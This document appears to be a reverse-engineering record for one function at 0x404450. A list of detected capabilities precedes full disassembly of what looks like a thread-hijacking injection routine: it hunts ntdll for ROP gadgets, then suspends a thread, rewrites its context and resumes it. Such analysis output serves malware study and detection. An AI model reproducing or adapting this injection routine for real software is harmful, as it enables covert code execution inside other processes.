Function at 0x404450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x5e8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x5e4], eax
mov eax, dword [esp + 0x5f0]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push str.NTDLL.DLL
mov esi, ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 0x40
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
push str.NtProtectVirtualMemory
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x3c]
mov dword [esp + 0x30], eax
mov eax, dword [ecx + edi + 0x1c]
lea ebp, [edi + 0x1000]
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
cmp eax, ebx
jbe 0x4047fc
mov ebx, dword [esp + 0x30]
lea ecx, [ecx]
cmp dword [esp + 0x14], 0
je 0x404501
test ecx, ecx
jne 0x4045ee
jmp 0x404522
cmp byte [edi + ebp], 0xeb
lea eax, [edi + ebp]
jne 0x40451a
cmp byte [edi + ebp + 1], 0xfe
jne 0x40451a
inc edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
test ecx, ecx
jne 0x4045db
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x34]
push ecx
lea eax, [esp + 0x68]
lea edi, [esp + 0x1c]
mov ecx, ebp
call fcn.00404380
mov edi, dword [esp + 0x1c]
add esp, 0xc
test eax, eax
je 0x4045db
lea ecx, [edi + 0x10]
mov eax, edi
mov dword [esp + 0x10], 0
cmp edi, ecx
jae 0x4045db
mov cl, byte [eax + ebp]
mov dl, cl
and dl, 0xf8
cmp dl, 0x58
jne 0x40457a
cmp cl, 0x5c
je 0x40457a
add dword [esp + 0x10], 4
inc eax
jmp 0x40459e
cmp cl, 0x83
jne 0x4045a7
mov cl, byte [eax + ebp + 1]
mov dl, cl
and dl, 0xf8
cmp dl, 0xc0
jne 0x4045a7
cmp cl, 0xc4
jne 0x40459b
movsx ecx, byte [eax + ebp + 2]
add dword [esp + 0x10], ecx
add eax, 3
lea ecx, [edi + 0x10]
cmp eax, ecx
jb 0x404560
jmp 0x4045db
mov cl, byte [eax + ebp]
cmp cl, 0xc3
je 0x4045bb
cmp cl, 0xc2
jne 0x4045db
cmp byte [eax + ebp + 2], 0
jne 0x4045db
cmp dword [esp + 0x18], 0
jne 0x4045cc
lea edx, [edi + ebp - 2]
mov dword [esp + 0x1c], edx
jmp 0x4045d4
lea ecx, [edi + ebp - 3]
mov dword [esp + 0x1c], ecx
mov ebx, dword [esp + 0x10]
lea edi, [eax + 3]
mov ecx, dword [esp + 0x1c]
inc edi
mov dword [esp + 0x10], edi
cmp edi, dword [esp + 0x24]
jb 0x4044f0
cmp dword [esp + 0x14], 0
je 0x4047fc
test ecx, ecx
je 0x4047fc
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edi, dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea edx, [esp + 0x328]
mov eax, 0x10007
push edx
push esi
mov dword [esp + 0x330], eax
mov dword [esp + 0x64], eax
call edi
lea eax, [esp + 0x5c]
push eax
push esi
call edi
mov ebp, dword [esp + 0x120]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
sub ebp, ebx
sub ebp, 0x50
mov ecx, ebp
sub ecx, dword [esp + 0x18]
lea edi, [esp + 0x5c]
add ecx, ebx
mov dword [edx], ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x120], ebp
mov dword [ecx], eax
push eax
mov eax, dword [esp + 0x24]
call fcn.00404310
mov edx, dword [esp + 0x18]
lea eax, [ebx + ebp + 0x1c]
mov dword [esp + 0x44], eax
lea eax, [ebx + ebp + 0x28]
mov dword [esp + 0x54], eax
lea eax, [ebx + ebp + 4]
lea ecx, [ebx + ebp + 0x20]
mov dword [esp + 0x3c], edx
lea edx, [ebx + ebp + 0x24]
mov ebx, eax
sub ebx, dword [esp + 0x1c]
add esp, 4
mov dword [esp + 0x34], eax
add eax, 0x24
mov dword [esp + 0x44], ecx
mov dword [esp + 0x4c], edx
mov dword [esp + 0x54], 0x28
mov dword [esp + 0x10], 0
mov dword [esp + 0x24], eax
jmp 0x4046d0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + edx*4 + 0x38]
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x120], ebp
mov dword [ecx], ebx
mov ecx, dword [esp + 0x28]
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x24]
lea edi, [esp + 0x60]
mov dword [esp + 0x118], edx
call fcn.00404310
mov eax, dword [esp + 0x14]
inc eax
add esp, 4
add ebx, 4
mov dword [esp + 0x10], eax
cmp eax, 9
jb 0x4046d0
mov eax, dword [esp + 0x24]
xor ebx, ebx
sub eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
jmp 0x404734
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x5fc]
mov dword [esp + 0x120], ebp
mov dword [ecx], eax
mov eax, dword [edx + ebx*4]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x24]
lea edi, [esp + 0x60]
mov dword [esp + 0x118], edx
call fcn.00404310
add dword [esp + 0x1c], 4
inc ebx
add esp, 4
cmp ebx, 0xa
jb 0x404730
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov ebx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
push ebx
mov dword [esp + 0x124], ecx
mov dword [esp + 0x118], edx
call fcn.00404310
mov eax, dword [esp + 0x28]
mov dword [esp + 0x100], ebx
push ebx
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x11c], eax
mov eax, ebx
mov dword [esp + 0x128], ebp
mov dword [esp + 0x108], ebp
call fcn.00404310
add esp, 8
lea ecx, [esp + 0x328]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
push 0
push 0x400
push ebx
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, 1
jmp 0x4047fe
xor eax, eax
mov ecx, dword [esp + 0x5f4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004098be
add esp, 0x5e8
ret